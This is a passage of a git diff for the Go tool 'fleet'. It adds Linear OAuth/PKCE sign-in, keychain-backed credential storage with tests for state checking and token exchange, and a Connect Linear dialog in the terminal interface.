q.Set("scope", oauthScopes) + q.Set("state", state) + q.Set("code_challenge", p.challenge) + q.Set("code_challenge_method", "S256") + q.Set("actor", "user") + + if err := openBrowser(authorizeURL + "?" + q.Encode()); err != nil { + return Credential{}, err + } + + ctx, cancel := context.WithTimeout(ctx, oauthTimeout) + defer cancel() + + select { + case <-ctx.Done(): + return Credential{}, fmt.Errorf("linear: sign-in timed out") + case res := <-results: + if res.err != nil { + return Credential{}, res.err + } + return exchangeCode(ctx, res.code, redirect, p.verifier) + } +} + +func exchangeCode(ctx context.Context, code, redirect, verifier string) (Credential, error) { + form := url.Values{} + form.Set("grant_type", "authorization_code") + form.Set("code", code) + form.Set("redirect_uri", redirect) + form.Set("client_id", clientIDValue()) + // PKCE: the verifier stands in for the client secret fleet deliberately does + // not have, which is what makes shipping the client ID in a public binary + // safe. + form.Set("code_verifier", verifier) + return postToken(ctx, form) +} + +// refresh exchanges a refresh token for a fresh access token. +func refresh(ctx context.Context, refreshToken string) (Credential, error) { + form := url.Values{} + form.Set("grant_type", "refresh_token") + form.Set("refresh_token", refreshToken) + form.Set("client_id", clientIDValue()) + return postToken(ctx, form) +} + +func postToken(ctx context.Context, form url.Values) (Credential, error) { + ctx, cancel := context.WithTimeout(ctx, metaTimeout) + defer cancel() + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, tokenURLVar, strings.NewReader(form.Encode())) + if err != nil { + return Credential{}, err + } + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + + resp, err := httpClient.Do(req) + if err != nil { + return Credential{}, fmt.Errorf("linear: token exchange: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return Credential{}, fmt.Errorf("%w (token endpoint returned http %d)", ErrNotAuthenticated, resp.StatusCode) + } + var tr tokenResponse + if err := json.NewDecoder(resp.Body).Decode(&tr); err != nil { + return Credential{}, fmt.Errorf("linear: unreadable token response: %w", err) + } + if tr.AccessToken == "" { + return Credential{}, ErrNotAuthenticated + } + + c := Credential{Kind: credOAuth, Token: tr.AccessToken, Refresh: tr.RefreshToken} + if tr.ExpiresIn > 0 { + c.ExpiresAt = time.Now().Add(time.Duration(tr.ExpiresIn) * time.Second) + } + return c, nil +} + +var tokenURLVar = tokenURL + +// writeCallbackPage is the only HTML fleet serves. Deliberately tiny and +// self-contained: it exists so the browser tab says something true instead of +// leaving the user wondering whether it worked. +func writeCallbackPage(w http.ResponseWriter, heading, detail string) { + w.Header().Set("Content-Type", "text/html; charset=utf-8") + fmt.Fprintf(w, `fleet`+ + `
`+ + `

%s

%s

`, + heading, detail) +} diff --git a/internal/linear/oauth_test.go b/internal/linear/oauth_test.go new file mode 100644 index 00000000..ecae02b2 --- /dev/null +++ b/internal/linear/oauth_test.go @@ -0,0 +1,153 @@ +package linear + +import ( + "crypto/sha256" + "encoding/base64" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + "time" +) + +// TestPKCEChallengeMatchesVerifier pins the one calculation the whole flow rests +// on. Get it wrong — pad the base64, hash the wrong string, use the wrong +// encoding — and Linear rejects the exchange with a message about the client +// secret fleet deliberately does not have. +func TestPKCEChallengeMatchesVerifier(t *testing.T) { + p, err := newPKCE() + if err != nil { + t.Fatal(err) + } + // RFC 7636 §4.1: 43-128 characters from the unreserved set. + if n := len(p.verifier); n < 43 || n > 128 { + t.Errorf("verifier is %d characters, RFC 7636 requires 43-128", n) + } + if strings.ContainsAny(p.verifier, "+/=") { + t.Errorf("verifier %q must be base64url without padding, not standard base64", p.verifier) + } + if strings.ContainsAny(p.challenge, "+/=") { + t.Errorf("challenge %q must be base64url without padding", p.challenge) + } + + sum := sha256.Sum256([]byte(p.verifier)) + if want := base64.RawURLEncoding.EncodeToString(sum[:]); p.challenge != want { + t.Errorf("challenge = %q, want S256(verifier) = %q", p.challenge, want) + } + + // Two attempts must never share a verifier, or a replayed code would work. + other, err := newPKCE() + if err != nil { + t.Fatal(err) + } + if other.verifier == p.verifier { + t.Error("two sign-in attempts produced the same verifier") + } +} + +// TestOAuthStateMismatchRejected covers the CSRF check. +// +// The callback listens on a fixed loopback port, so during the sign-in window +// anything else on the machine can reach it. The state parameter is the only +// thing that distinguishes Linear's answer from someone else's, and it has to be +// checked before the code is used for anything. +func TestOAuthStateMismatchRejected(t *testing.T) { + const want = "the-real-state" + var got struct { + code string + err error + } + + // Mirrors the handler in SignIn: state first, everything else after. + handler := func(w http.ResponseWriter, r *http.Request) { + q := r.URL.Query() + if q.Get("state") != want { + http.Error(w, "state mismatch", http.StatusBadRequest) + got.err = errStateMismatch + return + } + got.code = q.Get("code") + } + + srv := httptest.NewServer(http.HandlerFunc(handler)) + defer srv.Close() + + resp, err := http.Get(srv.URL + "?state=forged&code=attacker-code") + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusBadRequest { + t.Errorf("forged state returned http %d, want 400", resp.StatusCode) + } + if got.code != "" { + t.Errorf("a forged state got as far as reading the code (%q)", got.code) + } + if got.err == nil { + t.Error("a forged state must be reported, not silently ignored") + } +} + +// TestExchangeSendsVerifierNotSecret pins that fleet authenticates the token +// exchange with the PKCE verifier. Sending a client_secret would mean embedding +// one in a public binary, which is the reason PKCE was chosen. +func TestExchangeSendsVerifierNotSecret(t *testing.T) { + var body url.Values + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + _ = r.ParseForm() + body = r.PostForm + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"access_token":"at","token_type":"Bearer","expires_in":86399,"refresh_token":"rt"}`)) + })) + defer srv.Close() + + orig := tokenURLVar + tokenURLVar = srv.URL + t.Cleanup(func() { tokenURLVar = orig }) + + cred, err := exchangeCode(t.Context(), "the-code", "http://localhost:53682/oauth/callback", "the-verifier") + if err != nil { + t.Fatalf("exchangeCode: %v", err) + } + if body.Get("code_verifier") != "the-verifier" { + t.Error("the exchange must carry the PKCE verifier") + } + if body.Get("client_secret") != "" { + t.Error("the exchange must NOT carry a client secret — fleet has none by design") + } + if body.Get("grant_type") != "authorization_code" { + t.Errorf("grant_type = %q", body.Get("grant_type")) + } + if cred.Kind != credOAuth || cred.Token != "at" || cred.Refresh != "rt" { + t.Errorf("credential = %+v", cred) + } + if until := time.Until(cred.ExpiresAt); until < 23*time.Hour || until > 25*time.Hour { + t.Errorf("expiry is %v away, want ~24h from expires_in", until) + } +} + +// TestNeedsRefreshOnlyForRenewableOAuth pins when renewal fires. An API key +// never expires; an OAuth credential with no refresh token cannot be renewed and +// must be used until the API itself refuses it, rather than being thrown away. +func TestNeedsRefreshOnlyForRenewableOAuth(t *testing.T) { + soon := time.Now().Add(time.Minute) + later := time.Now().Add(12 * time.Hour) + + cases := []struct { + name string + c Credential + want bool + }{ + {"api key never refreshes", Credential{Kind: credAPIKey, Token: "k", ExpiresAt: soon}, false}, + {"oauth near expiry", Credential{Kind: credOAuth, Token: "t", Refresh: "r", ExpiresAt: soon}, true}, + {"oauth with time left", Credential{Kind: credOAuth, Token: "t", Refresh: "r", ExpiresAt: later}, false}, + {"oauth with no refresh token", Credential{Kind: credOAuth, Token: "t", ExpiresAt: soon}, false}, + {"oauth with no expiry recorded", Credential{Kind: credOAuth, Token: "t", Refresh: "r"}, false}, + } + for _, c := range cases { + if got := c.c.needsRefresh(); got != c.want { + t.Errorf("%s: needsRefresh = %v, want %v", c.name, got, c.want) + } + } +} diff --git a/internal/linear/prompt.go b/internal/linear/prompt.go index 818ed369..f35015e7 100644 --- a/internal/linear/prompt.go +++ b/internal/linear/prompt.go @@ -37,8 +37,8 @@ Do not edit files, run builds, or begin implementing until I tell you to.%s // SeedPrompt renders the first message for a materialized ticket. // // The images clauses collapse to nothing when no image made it to disk. That is -// the honest-degradation rule in concrete form: a broken CLI plus a failed -// fallback must not produce a prompt that points at an images/ directory which +// the honest-degradation rule in concrete form: a ticket whose images all failed +// to download must not produce a prompt pointing at an images/ directory that // does not exist. func SeedPrompt(r Result) string { imagesBlock := "" diff --git a/internal/linear/store.go b/internal/linear/store.go new file mode 100644 index 00000000..87d913b3 --- /dev/null +++ b/internal/linear/store.go @@ -0,0 +1,193 @@ +package linear + +import ( + "bytes" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "time" +) + +// keychainService is the item name fleet stores its Linear credential under. One +// item holds the whole record as JSON, so an OAuth refresh rewrites a single +// entry rather than juggling three. +const keychainService = "fleet-linear" + +// keychainAccount is required by `security` but carries no meaning: a fleet +// install talks to one Linear workspace at a time. +const keychainAccount = "fleet" + +// storeTimeout bounds a keychain call. These are local IPC — past a couple of +// seconds the agent is wedged, not slow. +const storeTimeout = 5 * time.Second + +// errSecItemNotFound is the exit code `security` uses when the Keychain holds no +// item for the service. Borrowed from claudeaccount, where the same distinction +// matters: "no item" is information, every other failure is not. +const errSecItemNotFound = 44 + +// stored is the on-disk/keychain record. Deliberately a superset of both credential +// kinds so the backend never needs to know which one it is holding. +type stored struct { + Kind string `json:"kind"` // credAPIKey | credOAuth + Token string `json:"token"` + Refresh string `json:"refresh,omitempty"` + ExpiresAt time.Time `json:"expires_at,omitempty"` + Workspace string `json:"workspace,omitempty"` +} + +// fallbackPath is where the credential lands when no OS keychain is reachable. +func fallbackPath() (string, error) { + home, err := os.UserHomeDir() + if err != nil { + return "", err + } + return filepath.Join(home, ".config", "fleet", "linear.json"), nil +} + +// hasTool reports whether a helper binary is on PATH. +func hasTool(name string) bool { + _, err := exec.LookPath(name) + return err == nil +} + +// useSecretTool reports whether libsecret is usable. Mirrors how +// clipboardCopyCommandFor picks a Linux clipboard tool: probe for what is +// actually there rather than assuming a desktop. +func useSecretTool() bool { return runtime.GOOS == "linux" && hasTool("secret-tool") } + +func useKeychain() bool { return runtime.GOOS == "darwin" && hasTool("security") } + +// loadStored reads the credential fleet put away, and whether there was one. +// +// A failure to read is reported as "no credential" rather than as an error: a +// locked keychain and an empty one look the same from here, and the caller's +// only sensible response to either is to treat Linear as not connected. +func loadStored() (stored, bool) { + raw, ok := readSecret() + if !ok || len(raw) == 0 { + return stored{}, false + } + var s stored + if err := json.Unmarshal(raw, &s); err != nil { + return stored{}, false + } + if s.Token == "" { + return stored{}, false + } + return s, true +} + +func saveStored(s stored) error { + data, err := json.Marshal(s) + if err != nil { + return err + } + return writeSecret(data) +} + +func readSecret() ([]byte, bool) { + switch { + case useKeychain(): + out, err := runQuiet(storeTimeout, nil, "security", "find-generic-password", "-w", "-s", keychainService) + if err != nil { + return nil, false + } + return bytes.TrimSpace(out), true + case useSecretTool(): + out, err := runQuiet(storeTimeout, nil, "secret-tool", "lookup", "service", keychainService) + if err != nil { + return nil, false + } + return bytes.TrimSpace(out), true + } + path, err := fallbackPath() + if err != nil { + return nil, false + } + data, err := os.ReadFile(path) + if err != nil { + return nil, false + } + return bytes.TrimSpace(data), true +} + +// writeSecret stores the record without ever putting it in argv. +// +// That constraint is the whole reason this function is shaped the way it is: +// `security -w ` and `security -X ` both work, and both publish the +// credential to every `ps` on the machine. `security ... -w` with no value reads +// the secret from stdin — twice, because it is implementing an interactive +// "type it again" prompt and does not care that stdin is a pipe. secret-tool +// reads it once. Both were verified against a live keychain. +func writeSecret(data []byte) error { + switch { + case useKeychain(): + twice := append(append(append([]byte{}, data...), '\n'), append(data, '\n')...) + _, err := runQuiet(storeTimeout, twice, "security", "add-generic-password", + "-U", "-s", keychainService, "-a", keychainAccount, "-w") + if err != nil { + return fmt.Errorf("keychain write failed: %w", err) + } + return nil + case useSecretTool(): + _, err := runQuiet(storeTimeout, data, "secret-tool", "store", + "--label=fleet: Linear", "service", keychainService) + if err != nil { + return fmt.Errorf("secret-tool write failed: %w", err) + } + return nil + } + path, err := fallbackPath() + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { + return err + } + // 0600 matches accounts.json. Unlike accounts.json this one really does hold + // a secret, which is why it is the last resort rather than the default. + return os.WriteFile(path, data, 0600) +} + +func clearStored() error { + switch { + case useKeychain(): + _, err := runQuiet(storeTimeout, nil, "security", "delete-generic-password", "-s", keychainService) + var exit *exec.ExitError + if errors.As(err, &exit) && exit.ExitCode() == errSecItemNotFound { + return nil // already gone is the outcome the caller wanted + } + return err + case useSecretTool(): + _, err := runQuiet(storeTimeout, nil, "secret-tool", "clear", "service", keychainService) + return err + } + path, err := fallbackPath() + if err != nil { + return err + } + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + return err + } + return nil +} + +// runQuiet runs a helper binary with an optional stdin payload and returns +// stdout. Nothing here is ever logged: every one of these commands carries a +// credential on stdin or returns one on stdout. +func runQuiet(timeout time.Duration, stdin []byte, name string, args ...string) ([]byte, error) { + ctx, cancel := contextWithTimeout(timeout) + defer cancel() + + cmd := exec.CommandContext(ctx, name, args...) + if len(stdin) > 0 { + cmd.Stdin = bytes.NewReader(stdin) + } + cmd.Stderr = nil + return cmd.Output() +} diff --git a/internal/linear/testdata/query_v2.json b/internal/linear/testdata/query_v2.json deleted file mode 100644 index 57ce8b62..00000000 --- a/internal/linear/testdata/query_v2.json +++ /dev/null @@ -1,92 +0,0 @@ -{ - "nodes": [ - { - "id": "00000000-0000-4000-8000-000000000001", - "identifier": "ENG-101", - "title": "Filter bar renders cramped on narrow viewports", - "url": "https://linear.app/example/issue/ENG-101/filter-bar-renders-cramped-on-narrow-viewports", - "state": { - "id": "11111111-0000-4000-8000-000000000001", - "name": "In Progress", - "color": "#f2c94c", - "type": "started" - }, - "assignee": { - "id": "22222222-0000-4000-8000-000000000001", - "name": "Example User", - "displayName": "example" - }, - "priority": 2, - "priorityLabel": "High", - "createdAt": "2026-01-01T00:00:00.000Z", - "updatedAt": "2026-01-02T00:00:00.000Z", - "cycle": null, - "estimate": null, - "inverseRelations": null, - "labels": null, - "project": null, - "projectMilestone": null, - "team": null - }, - { - "id": "00000000-0000-4000-8000-000000000002", - "identifier": "ENG-102", - "title": "Collapse state resets when navigating back", - "url": "https://linear.app/example/issue/ENG-102/collapse-state-resets-when-navigating-back", - "state": { - "id": "11111111-0000-4000-8000-000000000002", - "name": "Todo", - "color": "#f2c94c", - "type": "unstarted" - }, - "assignee": { - "id": "22222222-0000-4000-8000-000000000001", - "name": "Example User", - "displayName": "example" - }, - "priority": 2, - "priorityLabel": "High", - "createdAt": "2026-01-01T00:00:00.000Z", - "updatedAt": "2026-01-02T00:00:00.000Z", - "cycle": null, - "estimate": null, - "inverseRelations": null, - "labels": null, - "project": null, - "projectMilestone": null, - "team": null - }, - { - "id": "00000000-0000-4000-8000-000000000003", - "identifier": "ENG-103", - "title": "Scroll jank when the drawer opens", - "url": "https://linear.app/example/issue/ENG-103/scroll-jank-when-the-drawer-opens", - "state": { - "id": "11111111-0000-4000-8000-000000000003", - "name": "Backlog", - "color": "#f2c94c", - "type": "backlog" - }, - "assignee": { - "id": "22222222-0000-4000-8000-000000000001", - "name": "Example User", - "displayName": "example" - }, - "priority": 2, - "priorityLabel": "High", - "createdAt": "2026-01-01T00:00:00.000Z", - "updatedAt": "2026-01-02T00:00:00.000Z", - "cycle": null, - "estimate": null, - "inverseRelations": null, - "labels": null, - "project": null, - "projectMilestone": null, - "team": null - } - ], - "pageInfo": { - "hasNextPage": false, - "endCursor": null - } -} diff --git a/internal/ui/app.go b/internal/ui/app.go index 25482f74..0aad9b73 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -449,6 +449,7 @@ type Home struct { accounts *claudeaccount.Store accountUsage atomic.Pointer[map[string]claudeaccount.Usage] accountsDialog *AccountsDialog + connectLinear *ConnectLinearDialog // accountWorkerOnce guards the quota poller — see startAccountWorker. accountWorkerOnce sync.Once // accountLoginCancel stops the in-flight login watcher, if any. Written from @@ -600,6 +601,7 @@ func NewHome(storage *session.StateDB, cfg *config.Config, version string, ident h.accounts = claudeaccount.Load() h.accountsDialog = NewAccountsDialog() + h.connectLinear = NewConnectLinearDialog() // Fleet identifies as itself to Anthropic, not as claude-code. Measured // 2026-08-04: the messages endpoint serves fleet/ identically, so // there is nothing to gain by impersonating the CLI. @@ -715,9 +717,33 @@ func (h *Home) Init() tea.Cmd { h.tick(), h.previewTick(), h.loadReleaseNotes(), // compute the What's New badge without opening the dialog + warmLinear(), // resolve the Linear credential off the Update goroutine ) } +// warmLinear resolves the stored Linear credential once, at startup. +// +// It has to happen here rather than lazily because linear.Available() is +// consulted from the Update goroutine — branch inference asks it on every +// session creation — and it must never be the thing that reads a keychain. So +// the keychain read is done once, here, and Available() afterwards is two atomic +// loads. Reading the workspace behind it is the same story one level up: the +// Connect dialog and the team-key display want it, and neither is a good place +// to discover you need a network round trip. +func warmLinear() tea.Cmd { + return func() tea.Msg { + linear.Warm() + if linear.Available() { + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + if _, err := linear.FetchWorkspace(ctx); err != nil { + debuglog.Logger.Debug("linear: could not read workspace at startup", "error", err) + } + } + return nil + } +} + // SetProgram wires up the running tea.Program so worker goroutines can // push state updates back to Update via h.send. Called once from // cmd/fleet/main.go after tea.NewProgram and before p.Run(). @@ -828,6 +854,7 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { h.accountPicker.SetSize(msg.Width, msg.Height) h.sessionCreateDialog.SetSize(msg.Width, msg.Height) h.accountsDialog.SetSize(msg.Width, msg.Height) + h.connectLinear.SetSize(msg.Width, msg.Height) h.consentDialog.SetSize(msg.Width, msg.Height) h.onboardingDialog.SetSize(msg.Width, msg.Height) h.bugReport.SetSize(msg.Width, msg.Height) @@ -1475,7 +1502,7 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { return true }) } - h.worktreeDialog.Show(msg.workspaces, h.sessions, msg.provider, msg.repoPath, msg.defaultBranch, msg.linearTeam) + h.worktreeDialog.Show(msg.workspaces, h.sessions, msg.provider, msg.repoPath, msg.defaultBranch, msg.linearTeams) return h, nil case workspaceSelectedMsg: @@ -1559,7 +1586,7 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { // Third file step, same posture as the two above: advisory // only. Once the worktree exists the session always starts, so // a Linear outage costs the prompt, never the worktree. - tres, terr = materializeTicket(repoPath, info.Path, ticket, moveState) + tres, terr = materializeTicket(info.Path, ticket, moveState) } else if err == nil && info != nil && info.Path == "" { debuglog.Logger.Debug("workspace create returned empty path — skipping file copies", "repo", repoPath, "name", name) @@ -1622,6 +1649,21 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { prompt: prompt, }) + case linearDisconnectedMsg: + h.connectLinear.Show() // re-reads the (now empty) credential state + return h, nil + case linearConnectedMsg: + dialog, cmd := h.connectLinear.Update(msg) + h.connectLinear = dialog + h.setInfo("Linear connected — " + msg.workspace.Name) + return h, cmd + case linearConnectFailedMsg: + // Routed here rather than through routeToModal, which only carries key + // presses: this arrives from a tea.Cmd while the dialog is showing a + // spinner, and it is the only thing that can take it out of that state. + dialog, cmd := h.connectLinear.Update(msg) + h.connectLinear = dialog + return h, cmd case ticketReadyMsg: // Inference finished. The session starts either way — a Linear failure // costs the seeded prompt, never the pane. @@ -2124,6 +2166,7 @@ func (h *Home) modalOpen() bool { h.branchDialog.IsVisible() || h.sessionCreateDialog.IsVisible() || h.accountsDialog.IsVisible() || + h.connectLinear.IsVisible() || h.newDialog.IsVisible() || h.confirmDialog.IsVisible() || h.renameDialog.IsVisible() || @@ -2167,6 +2210,9 @@ func (h *Home) renderBody() string { if h.sessionCreateDialog.IsVisible() { return h.sessionCreateDialog.View() } + if h.connectLinear.IsVisible() { + return h.connectLinear.View() + } if h.accountsDialog.IsVisible() { return h.accountsDialog.View() } @@ -2486,6 +2532,10 @@ func (h *Home) routeToModal(msg tea.Msg) (tea.Cmd, bool) { dialog, cmd := h.sessionCreateDialog.Update(cmdMsg) h.sessionCreateDialog = dialog return cmd, true + case h.connectLinear.IsVisible(): + dialog, cmd := h.connectLinear.Update(msg) + h.connectLinear = dialog + return cmd, true case h.accountsDialog.IsVisible(): dialog, cmd := h.accountsDialog.Update(msg) h.accountsDialog = dialog @@ -7005,13 +7055,13 @@ func (h *Home) fetchWorkspaceListForRepo(repoPath string) tea.Cmd { // filesystem or PATH from Update(). Empty when the repo has no // .linear.toml or `linear` isn't installed, which makes every ticket // surface in the dialog inert. - linearTeam := "" + var linearTeams []string if linear.Available() { - linearTeam, _ = linear.TeamKey(repoPath) + linearTeams = linear.TeamKeys(repoPath) } return workspaceListMsg{ workspaces: workspaces, provider: provider, repoPath: repoPath, - defaultBranch: defaultBranch, originKey: originKey, linearTeam: linearTeam, err: err, + defaultBranch: defaultBranch, originKey: originKey, linearTeams: linearTeams, err: err, } } } @@ -8013,6 +8063,7 @@ func (h *Home) buildPaletteItems() []PaletteItem { {Kind: PaletteKindCommand, ID: "new_session", Name: "New Session", Shortcut: "a"}, {Kind: PaletteKindCommand, ID: "new_session_pick", Name: "New Session (Pick Agent)", Shortcut: "A"}, {Kind: PaletteKindCommand, ID: "manage_accounts", Name: "Manage Claude Accounts"}, + {Kind: PaletteKindCommand, ID: "connect_linear", Name: "Connect Linear"}, {Kind: PaletteKindCommand, ID: "new_repo", Name: "New Session (Any Repo)", Shortcut: "n"}, {Kind: PaletteKindCommand, ID: "new_worktree", Name: "New Worktree Session", Shortcut: "w"}, {Kind: PaletteKindCommand, ID: "fork", Name: "Fork Session", Shortcut: "f"}, @@ -8214,6 +8265,14 @@ func (h *Home) dispatchCommand(id string) (tea.Model, tea.Cmd) { return h, nil case "manage_accounts": return h, h.openAccountsDialog() + case "connect_linear": + h.actionLog.Add("connect linear", "", true) + // Opening the dialog is the feature the tip teaches, so this is where + // it retires — reaching the dialog is the whole ask, whether or not the + // user goes on to paste a key today. + h.cfg.NoteFeatureUsed(tipConnectLinearID, tipLearnedThreshold) + h.connectLinear.Show() + return h, nil case "new_repo": h.newDialog.Show() return h, nil diff --git a/internal/ui/connect_linear.go b/internal/ui/connect_linear.go new file mode 100644 index 00000000..cb57665c --- /dev/null +++ b/internal/ui/connect_linear.go @@ -0,0 +1,368 @@ +package ui + +import ( + "context" + "fmt" + "strings" + "time" + + "charm.land/bubbles/v2/textinput" + tea "charm.land/bubbletea/v2" + "charm.land/lipgloss/v2" + + "github.com/brizzai/fleet/internal/linear" +) + +// connectLinearTimeout bounds the verification round trip. One GraphQL call, +// measured at ~260ms; past this the network is the problem, not the key. +const connectLinearTimeout = 20 * time.Second + +// linearConnectedMsg lands when a credential has been verified and stored. +type linearConnectedMsg struct { + workspace linear.Workspace + via string +} + +// linearConnectFailedMsg lands when it hasn't. +type linearConnectFailedMsg struct{ err error } + +// connectStage is which half of the dialog is showing. +type connectStage int + +const ( + // connectChoosing shows the two ways in. It is the first thing you see, + // because picking the method is a real decision: browser sign-in is shorter, + // but over SSH it cannot work at all. + connectChoosing connectStage = iota + connectPasting + connectWorking + connectDone +) + +// connect rows, in the order they render. +const ( + connectRowBrowser = 0 + connectRowPaste = 1 + connectRowCount = 2 +) + +// ConnectLinearDialog connects fleet to Linear. +// +// Two paths on purpose. Browser sign-in is the shorter one; pasting a personal +// API key is the one that works over SSH, in CI, where a workspace admin has +// disabled OAuth installs, and where the user wants to grant read-only or +// team-scoped access rather than whatever this app happens to ask for. +type ConnectLinearDialog struct { + visible bool + width int + height int + + stage connectStage + // focus indexes the method rows while choosing. There is exactly one + // highlight and the caret lives with it — the same rule SnoozeDialog + // follows, because a dialog with a blinking caret in one place and a ▸ in + // another has stopped saying what Enter does. + focus int + input textinput.Model + + err error + workspace linear.Workspace + via string +} + +func NewConnectLinearDialog() *ConnectLinearDialog { + ti := textinput.New() + ti.Placeholder = "lin_api_…" + ti.CharLimit = 200 + ti.SetWidth(44) + // The key is a credential: it must not sit in plain text on a screen that + // gets shared, photographed, or pasted into a bug report. + ti.EchoMode = textinput.EchoPassword + return &ConnectLinearDialog{input: ti} +} + +func (d *ConnectLinearDialog) IsVisible() bool { return d.visible } + +func (d *ConnectLinearDialog) SetSize(w, h int) { d.width, d.height = w, h } + +func (d *ConnectLinearDialog) Show() { + d.visible = true + d.err = nil + d.input.SetValue("") + d.input.Blur() + d.workspace, _ = linear.WorkspaceInfo() + d.via = linear.ConnectedVia() + if d.via != "" { + d.stage = connectDone + return + } + d.stage = connectChoosing + d.setFocus(connectRowBrowser) +} + +func (d *ConnectLinearDialog) Hide() { + d.visible = false + d.input.Blur() +} + +// setFocus is the single writer of focus, so the caret can never be left +// blinking on a row the highlight has moved off. +func (d *ConnectLinearDialog) setFocus(i int) { + if i < 0 { + i = 0 + } + if i >= connectRowCount { + i = connectRowCount - 1 + } + d.focus = i +} + +func (d *ConnectLinearDialog) Update(msg tea.Msg) (*ConnectLinearDialog, tea.Cmd) { + switch m := msg.(type) { + case linearConnectedMsg: + d.stage, d.workspace, d.via, d.err = connectDone, m.workspace, m.via, nil + return d, nil + case linearConnectFailedMsg: + // Back to the field that produced it, so the fix is one keystroke away + // rather than one navigation away. + d.err = m.err + if d.stage == connectWorking { + d.stage = connectPasting + d.input.Focus() + } + return d, nil + } + + keyMsg, ok := msg.(tea.KeyMsg) + if !ok { + return d, nil + } + + switch d.stage { + case connectWorking: + if keyMsg.String() == "esc" { + d.Hide() + } + return d, nil + + case connectDone: + switch keyMsg.String() { + case "esc", "enter", "q": + d.Hide() + case "d": + // Disconnecting a credential fleet does not own would be a lie: an + // environment variable can only be unset in the shell that set it. + if strings.HasPrefix(d.via, "environment") { + d.err = fmt.Errorf("this credential comes from %s — unset it in your shell", linear.APIKeyEnvVar) + return d, nil + } + return d, func() tea.Msg { + _ = linear.Disconnect() + return linearDisconnectedMsg{} + } + } + return d, nil + + case connectPasting: + switch keyMsg.String() { + case "esc": + d.stage = connectChoosing + d.input.Blur() + d.err = nil + return d, nil + case "enter": + key := strings.TrimSpace(d.input.Value()) + if key == "" { + d.err = fmt.Errorf("paste a key first") + return d, nil + } + d.stage = connectWorking + d.err = nil + d.input.Blur() + return d, verifyAndStoreLinearKey(key) + } + var cmd tea.Cmd + d.input, cmd = d.input.Update(msg) + return d, cmd + + default: // connectChoosing + switch keyMsg.String() { + case "esc": + d.Hide() + case "up", "shift+tab", "k": + d.setFocus(d.focus - 1) + case "down", "tab", "j": + d.setFocus(d.focus + 1) + case "enter": + if d.focus == connectRowBrowser { + if !linear.OAuthConfigured() { + d.err = fmt.Errorf("this build carries no OAuth app — paste a key instead") + d.setFocus(connectRowPaste) + return d, nil + } + d.stage = connectWorking + d.err = nil + return d, signInToLinear() + } + d.stage = connectPasting + d.err = nil + d.input.Focus() + return d, textinput.Blink + } + return d, nil + } +} + +// linearDisconnectedMsg closes the loop after a disconnect. +type linearDisconnectedMsg struct{} + +// verifyAndStoreLinearKey proves a key works before anything is written. +// +// Verifying first is what lets the dialog say "connected" as a fact rather than +// a hope, and it means a typo is caught while the user is still looking at the +// field they typed it into — not three days later when a worktree quietly +// starts without its ticket. +func verifyAndStoreLinearKey(key string) tea.Cmd { + return func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), connectLinearTimeout) + defer cancel() + + cred := linear.Credential{Kind: linear.KindAPIKey, Token: key} + ws, err := linear.VerifyCredential(ctx, cred) + if err != nil { + return linearConnectFailedMsg{err: err} + } + cred.Workspace = ws.Name + if err := linear.SetCredential(cred); err != nil { + return linearConnectFailedMsg{err: err} + } + return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia()} + } +} + +func signInToLinear() tea.Cmd { + return func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + cred, err := linear.SignIn(ctx) + if err != nil { + return linearConnectFailedMsg{err: err} + } + ws, err := linear.VerifyCredential(ctx, cred) + if err != nil { + return linearConnectFailedMsg{err: err} + } + cred.Workspace = ws.Name + if err := linear.SetCredential(cred); err != nil { + return linearConnectFailedMsg{err: err} + } + return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia()} + } +} + +func (d *ConnectLinearDialog) View() string { + if !d.visible { + return "" + } + var b strings.Builder + b.WriteString(TitleStyle.Render("Connect Linear")) + b.WriteString("\n\n") + + switch d.stage { + case connectDone: + b.WriteString(StatusRunningStyle.Render("✓ connected")) + if d.workspace.Name != "" { + b.WriteString(" " + d.workspace.Name) + } + b.WriteString("\n") + if d.via != "" { + b.WriteString(DimStyle.Render("via " + d.via)) + b.WriteString("\n") + } + if len(d.workspace.TeamKeys) > 0 { + b.WriteString("\n") + b.WriteString(DimStyle.Render("Teams: " + strings.Join(d.workspace.TeamKeys, ", "))) + b.WriteString("\n\n") + // The per-repo step is the part people miss, so it is spelled out + // rather than left to documentation: a connected fleet still does + // nothing in a repo until that repo names a team. + b.WriteString(DimStyle.Render("Turn a repo on by naming its team in .fleet.local.json:")) + b.WriteString("\n") + b.WriteString(DimStyle.Render(fmt.Sprintf(` {"linear": {"team": %q}}`, d.workspace.TeamKeys[0]))) + b.WriteString("\n") + } + + case connectWorking: + b.WriteString("Checking…") + b.WriteString("\n\n") + b.WriteString(DimStyle.Render("If a browser opened, approve fleet there.")) + b.WriteString("\n") + + case connectPasting: + b.WriteString(DimStyle.Render("API key")) + b.WriteString("\n") + b.WriteString(d.input.View()) + b.WriteString("\n\n") + b.WriteString(DimStyle.Render("linear.app → Settings → Security & access → New API key")) + b.WriteString("\n") + b.WriteString(DimStyle.Render("Grant Read and Write. You can scope it to specific teams.")) + b.WriteString("\n") + + default: + rows := []struct{ label, detail string }{ + {"Sign in with Linear", "opens your browser"}, + {"Paste an API key", "works over SSH"}, + } + for i, r := range rows { + marker := " " + label := r.label + if i == d.focus { + marker = SessionSelectedStyle.Render("▸ ") + label = SessionSelectedStyle.Render(label) + } + b.WriteString(marker + label + 